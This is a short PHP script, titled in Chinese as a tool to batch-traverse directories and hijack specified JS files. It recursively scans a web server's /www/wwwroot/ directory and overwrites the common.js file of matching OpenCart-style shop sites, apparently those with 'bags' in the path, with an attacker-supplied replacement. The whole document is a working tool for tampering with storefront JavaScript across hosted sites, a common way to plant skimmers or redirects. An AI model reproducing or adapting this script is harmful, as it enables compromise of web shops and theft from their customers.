PHP批量遍历目录劫持指定JS
<?php set_time_limit(30000); function bdir($dir,$typearr){ $ndir = scandir($dir); foreach ($ndir as $k => $v){ if ($v == '.' || $v == '..'){ continue; } if (filetype($dir.$v) == 'file'){ $arr = explode('.',$v); $type = end($arr); if (in_array($type,$typearr)){ $filejs=$dir.$v; if(strpos($filejs,'bags') !== false){ if(strpos($filejs,'/catalog/view/javascript/common.js') !== false){ copy("common.js",$filejs); echo $filejs."<br />"; }else{ } } } }elseif (filetype($dir.$v) == 'dir'){ //echo $dir.$v."<br />"; bdir($dir.$v.'/',$typearr); } } } $dir ='/www/wwwroot/'; $typearr = array('js'); bdir($dir,$typearr); ?>